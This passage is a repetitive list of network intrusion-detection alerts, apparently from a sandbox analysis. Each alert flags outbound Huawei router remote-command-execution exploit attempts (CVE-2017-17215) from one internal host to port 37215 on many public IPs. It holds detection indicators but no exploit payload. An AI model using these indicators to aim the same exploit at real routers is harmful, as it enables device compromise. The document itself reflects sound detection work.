SID:	2835222
Source Port:	37548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.29.68.172

Timestamp:	2024-08-01T15:36:28.649721+0200
SID:	2835222
Source Port:	37400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.31.87.45

Timestamp:	2024-08-01T15:36:28.968157+0200
SID:	2835222
Source Port:	36076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.31.149.246

Timestamp:	2024-08-01T15:36:34.947714+0200
SID:	2835222
Source Port:	44164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.132.2

Timestamp:	2024-08-01T15:35:45.370444+0200
SID:	2835222
Source Port:	57116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.117.172.151

Timestamp:	2024-08-01T15:36:36.963667+0200
SID:	2835222
Source Port:	38274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.195.176

Timestamp:	2024-08-01T15:36:01.465258+0200
SID:	2835222
Source Port:	49128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.121.184.164

Timestamp:	2024-08-01T15:35:50.279069+0200
SID:	2835222
Source Port:	60910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.2.22.184

Timestamp:	2024-08-01T15:35:20.209952+0200
SID:	2835222
Source Port:	45612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.71.22

Timestamp:	2024-08-01T15:36:22.340605+0200
SID:	2835222
Source Port:	34838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.173.142

Timestamp:	2024-08-01T15:35:25.501092+0200
SID:	2835222
Source Port:	46740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.151.142

Timestamp:	2024-08-01T15:35:40.253997+0200
SID:	2835222
Source Port:	53712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.80.150.11

Timestamp:	2024-08-01T15:35:48.348818+0200
SID:	2835222
Source Port:	36058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.190.41

Timestamp:	2024-08-01T15:35:20.203468+0200
SID:	2835222
Source Port:	60066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 204.157.240.183

Timestamp:	2024-08-01T15:36:15.121041+0200
SID:	2835222
Source Port:	34250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.246.240

Timestamp:	2024-08-01T15:35:48.347839+0200
SID:	2835222
Source Port:	50936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.54.160

Timestamp:	2024-08-01T15:35:20.216600+0200
SID:	2835222
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.45.250

Timestamp:	2024-08-01T15:36:55.995712+0200
SID:	2835222
Source Port:	46214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.162.42.208

Timestamp:	2024-08-01T15:35:21.905855+0200
SID:	2835222
Source Port:	55352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.230.193.35

Timestamp:	2024-08-01T15:36:34.642668+0200
SID:	2835222
Source Port:	39032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.86.60.254

Timestamp:	2024-08-01T15:36:01.488749+0200
SID:	2835222
Source Port:	36122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.73.166

Timestamp:	2024-08-01T15:36:39.036717+0200
SID:	2835222
Source Port:	42350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.145.59.248

Timestamp:	2024-08-01T15:35:20.203898+0200
SID:	2835222
Source Port:	59624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.67.4.98

Timestamp:	2024-08-01T15:36:39.043879+0200
SID:	2835222
Source Port:	58810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.10.34

Timestamp:	2024-08-01T15:35:21.906879+0200
SID:	2835222
Source Port:	49434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.238.54.241

Timestamp:	2024-08-01T15:35:58.823650+0200
SID:	2835222
Source Port:	36402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.3.255.40

Timestamp:	2024-08-01T15:35:20.203214+0200
SID:	2835222
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.170.129.204

Timestamp:	2024-08-01T15:35:21.865220+0200
SID:	2835222
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.121.16

Timestamp:	2024-08-01T15:36:40.245805+0200
SID:	2835222
Source Port:	34740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.236.85

Timestamp:	2024-08-01T15:36:52.654218+0200
SID:	2835222
Source Port:	51130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.148.212

Timestamp:	2024-08-01T15:36:22.359148+0200
SID:	2835222
Source Port:	42286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.230.46.21

Timestamp:	2024-08-01T15:35:45.518914+0200
SID:	2835222
Source Port:	54102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.60.45.104

Timestamp:	2024-08-01T15:36:05.361834+0200
SID:	2835222
Source Port:	53356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.132.27.254

Timestamp:	2024-08-01T15:36:44.181353+0200
SID:	2835222
Source Port:	43242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.205.93.171

Timestamp:	2024-08-01T15:36:36.946908+0200
SID:	2835222
Source Port:	44408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 180.214.38.48

Timestamp:	2024-08-01T15:36:06.759128+0200
SID:	2835222
Source Port:	47508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.253.121

Timestamp:	2024-08-01T15:36:57.564846+0200
SID:	2835222
Source Port:	48944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.200.98.90

Timestamp:	2024-08-01T15:35:35.183000+0200
SID:	2835222
Source Port:	54124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.172.175.247

Timestamp:	2024-08-01T15:36:24.465628+0200
SID:	2835222
Source Port:	60648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.153.95.103

Timestamp:	2024-08-01T15:36:26.858093+0200
SID:	2835222
Source Port:	54344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.19.138.235

Timestamp:	2024-08-01T15:36:57.556531+0200
SID:	2835222
Source Port:	43024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 130.233.217.238

Timestamp:	2024-08-01T15:35:16.665029+0200
SID:	2835222
Source Port:	37330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.84.21

Timestamp:	2024-08-01T15:35:40.233656+0200
SID:	2835222
Source Port:	34656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.164.219.199

Timestamp:	2024-08-01T15:36:01.465127+0200
SID:	2835222
Source Port:	39108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.247.203.93

Timestamp:	2024-08-01T15:35:20.206204+0200
SID:	2835222
Source Port:	37726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.69.184.232

Timestamp:	2024-08-01T15:36:09.911050+0200
SID:	2835222
Source Port:	53486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 101.129.41.50

Timestamp:	2024-08-01T15:36:06.816217+0200
SID:	2835222
Source Port:	55468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.163.102.22

Timestamp:	2024-08-01T15:36:37.108180+0200
SID:	2835222
Source Port:	41252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 66.38.179.110

Timestamp:	2024-08-01T15:36:55.995704+0200
SID:	2835222
Source Port:	58930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.88.117.172

Timestamp:	2024-08-01T15:35:20.214892+0200
SID:	2835222
Source Port:	46298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.13.231.246

Timestamp:	2024-08-01T15:35:21.918938+0200
SID:	2835222
Source Port:	56016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.230.146

Timestamp:	2024-08-01T15:36:06.685442+0200
SID:	2835222
Source Port:	50250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.245.147.90

Timestamp:	2024-08-01T15:35:20.205606+0200
SID:	2835222
Source Port:	34606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.152.9

Timestamp:	2024-08-01T15:36:22.455256+0200
SID:	2835222
Source Port:	41216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.117.23.22

Timestamp:	2024-08-01T15:35:20.210542+0200
SID:	2835222
Source Port:	36062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.182.24.105

Timestamp:	2024-08-01T15:35:21.850470+0200
SID:	2835222
Source Port:	35198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.241.106

Timestamp:	2024-08-01T15:35:35.135037+0200
SID:	2835222
Source Port:	58746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.12.108.240

Timestamp:	2024-08-01T15:35:20.216522+0200
SID:	2835222
Source Port:	45024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.146.97.77

Timestamp:	2024-08-01T15:35:21.878612+0200
SID:	2835222
Source Port:	39564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 23.22.18.80

Timestamp:	2024-08-01T15:35:21.838776+0200
SID:	2835222
Source Port:	39948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.106.91.113

Timestamp:	2024-08-01T15:35:16.601530+0200
SID:	2835222
Source Port:	44122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.134.32

Timestamp:	2024-08-01T15:35:58.633771+0200
SID:	2835222
Source Port:	47330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.99.90.196

Timestamp:	2024-08-01T15:35:32.996524+0200
SID:	2835222
Source Port:	60682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 107.106.86.9

Timestamp:	2024-08-01T15:35:16.476735+0200
SID:	2835222
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.170.156.249

Timestamp:	2024-08-01T15:36:11.962438+0200
SID:	2835222
Source Port:	43442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.104.101

Timestamp:	2024-08-01T15:35:17.246291+0200
SID:	2835222
Source Port:	54770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 102.97.63.75

Timestamp:	2024-08-01T15:35:20.203558+0200
SID:	2835222
Source Port:	45172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.84.4.1

Timestamp:	2024-08-01T15:35:20.204668+0200
SID:	2835222
Source Port:	45970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.131.32

Timestamp:	2024-08-01T15:36:24.455138+0200
SID:	2835222
Source Port:	37932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.67.216.45

Timestamp:	2024-08-01T15:35:20.206888+0200
SID:	2835222
Source Port:	52058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 54.13.239.184

Timestamp:	2024-08-01T15:35:20.209690+0200
SID:	2835222
Source Port:	51530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.43.204.58

Timestamp:	2024-08-01T15:36:22.455723+0200
SID:	2835222
Source Port:	60296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 171.189.230.58

Timestamp:	2024-08-01T15:35:16.318234+0200
SID:	2835222
Source Port:	51144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.254.228.96

Timestamp:	2024-08-01T15:36:11.931726+0200
SID:	2835222
Source Port:	52614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.193.83.65

Timestamp:	2024-08-01T15:35:21.871567+0200
SID:	2835222
Source Port:	54352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.151.99

Timestamp:	2024-08-01T15:35:40.224485+0200
SID:	2835222
Source Port:	36550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.68.93

Timestamp:	2024-08-01T15:36:53.900021+0200
SID:	2835222
Source Port:	55322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.44.35

Timestamp:	2024-08-01T15:35:53.373554+0200
SID:	2835222
Source Port:	53546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.250.24.237

Timestamp:	2024-08-01T15:36:57.624970+0200
SID:	2835222
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.38.183.230

Timestamp:	2024-08-01T15:36:34.860646+0200
SID:	2835222
Source Port:	41216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.152.53.61

Timestamp:	2024-08-01T15:36:36.949206+0200
SID:	2835222
Source Port:	34014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.19.50

Timestamp:	2024-08-01T15:35:20.207511+0200
SID:	2835222
Source Port:	52428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.137.17

Timestamp:	2024-08-01T15:35:21.933491+0200
SID:	2835222
Source Port:	52256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.134.1.80

Timestamp:	2024-08-01T15:35:20.204926+0200
SID:	2835222
Source Port:	52244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.89.16.248

Timestamp:	2024-08-01T15:35:17.170807+0200
SID:	2835222
Source Port:	55220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.105.251.29

Timestamp:	2024-08-01T15:35:16.681536+0200
SID:	2835222
Source Port:	38418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.120.40.133

Timestamp:	2024-08-01T15:35:21.905548+0200
SID:	2835222
Source Port:	53612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.105.149

Timestamp:	2024-08-01T15:36:20.315829+0200
SID:	2835222
Source Port:	45356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.33.103.177

Timestamp:	2024-08-01T15:35:21.866334+0200
SID:	2835222
Source Port:	49172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.75.33.43

Timestamp:	2024-08-01T15:35:53.374025+0200
SID:	2835222
Source Port:	58350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.194.219.212

Timestamp:	2024-08-01T15:35:16.448919+0200
SID:	2835222
Source Port:	50420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.129.37.247

Timestamp:	2024-08-01T15:35:16.602124+0200
SID:	2835222
Source Port:	33558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.152.30

Timestamp:	2024-08-01T15:36:24.902635+0200
SID:	2835222
Source Port:	40750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.166.151

Timestamp:	2024-08-01T15:36:18.252372+0200
SID:	2835222
Source Port:	43282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.199.195

Timestamp:	2024-08-01T15:35:20.216219+0200
SID:	2835222
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.154.188.198

Timestamp:	2024-08-01T15:36:57.634635+0200
SID:	2835222
Source Port:	41896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.183.29.85

Timestamp:	2024-08-01T15:35:20.545303+0200
SID:	2835222
Source Port:	36378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.46.42.17

Timestamp:	2024-08-01T15:35:20.205311+0200
SID:	2835222
Source Port:	37520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.124.238.97

Timestamp:	2024-08-01T15:35:20.203689+0200
SID:	2835222
Source Port:	57968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.171.172.239

Timestamp:	2024-08-01T15:36:46.295843+0200
SID:	2835222
Source Port:	47894
Destination Port:	37215
Protocol:	TCP
